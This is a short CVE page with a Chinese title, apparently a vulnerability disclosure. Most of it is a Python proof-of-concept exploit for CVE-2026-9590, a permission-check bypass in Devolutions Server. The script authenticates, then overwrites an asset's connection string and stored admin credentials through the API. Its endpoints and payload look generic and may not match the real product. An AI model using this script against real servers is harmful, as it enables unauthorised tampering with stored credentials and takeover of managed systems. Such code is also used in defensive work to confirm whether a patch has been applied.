CVE-2026-9590 Devolutions Server权限验证缺陷导致未授权资产信息修改

# CVE-2026-9590 PoC - Improper Access Control in Devolutions Server # This PoC demonstrates the permission validation bypass import requests import json TARGET_URL = "https://target-devolutions-server.com" API_ENDPOINT = f"{TARGET_URL}/api/assets" def exploit_cve_2026_9590(): """ Exploit for CVE-2026-9590: Improper Access Control in Devolutions Server Allows authenticated users with entry edit privileges to modify asset information without required permissions. """ # Step 1: Authenticate with valid credentials (user with entry edit privileges) auth_payload = { "username": "[email protected]", "password": "UserPassword123" } session = requests.Session() auth_response = session.post(f"{TARGET_URL}/api/auth/login", json=auth_payload) if auth_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Get list of assets (requires only entry edit privilege) assets_response = session.get(f"{TARGET_URL}/api/assets") assets = assets_response.json() # Step 3: Attempt to modify asset information (requires asset modify permission) # This should be denied but is allowed due to the vulnerability target_asset_id = "sensitive-asset-id-12345" modify_payload = { "asset_id": target_asset_id, "name": "Modified Asset Name", "description": "Asset information modified without proper permission", "connection_string": "Modified connection string", "credentials": { "username": "admin", "password": "NewPassword123" } } modify_response = session.put( f"{API_ENDPOINT}/{target_asset_id}", json=modify_payload ) if modify_response.status_code == 200: print("[!] VULNERABLE: Asset modification succeeded without proper permissions") print(f"[+] Modified asset: {target_asset_id}") return True else: print("[-] Patch applied or different behavior") return False if __name__ == "__main__": exploit_cve_2026_9590()